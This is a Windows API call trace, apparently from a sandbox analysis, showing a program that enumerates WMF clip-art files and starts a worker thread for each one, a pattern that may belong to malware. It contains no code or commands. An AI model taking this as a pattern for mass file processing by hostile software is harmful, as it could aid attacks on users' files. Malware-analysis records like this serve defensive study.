	[0233.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c
	[0233.278] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.279] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1
	[0233.279] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1120
	[0233.281] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.281] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1
	[0233.304] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124
	[0233.306] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.307] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1
	[0233.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128
	[0233.309] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.310] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1
	[0233.310] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c
	[0233.312] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.313] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1
	[0233.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1130
	[0233.315] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.316] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1
	[0233.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134
	[0233.318] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.318] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1
	[0233.318] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138
	[0233.392] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.393] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1
	[0233.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c
	[0233.395] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.396] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1
	[0233.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140
	[0233.398] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.399] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1
	[0233.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144
	[0233.401] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.401] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1
	[0233.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148
	[0233.404] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.405] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1
	[0233.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c
	[0233.408] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.408] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1
	[0233.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150
	[0233.411] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.412] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1
	[0233.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154
	[0233.414] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.414] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1
	[0233.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158
	[0233.417] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.417] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1
	[0233.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c
	[0233.419] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.420] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1
	[0233.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160
	[0233.422] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.422] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1
	[0233.425] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164
	[0233.454] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.455] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1
	[0233.455] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168
	[0233.457] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.458] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1
	[0233.458] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c
	[0233.459] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.460] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1
	[0233.460] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170
	[0233.463] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.463] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1
	[0233.463] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174
	[0233.465] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.466] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1
	[0233.466] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178
	[0233.469] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.469] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1
	[0233.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c
	[0233.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.473] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1
	[0233.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180
	[0233.475] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.476] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1
	[0233.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1184
	[0233.479] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.479] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1
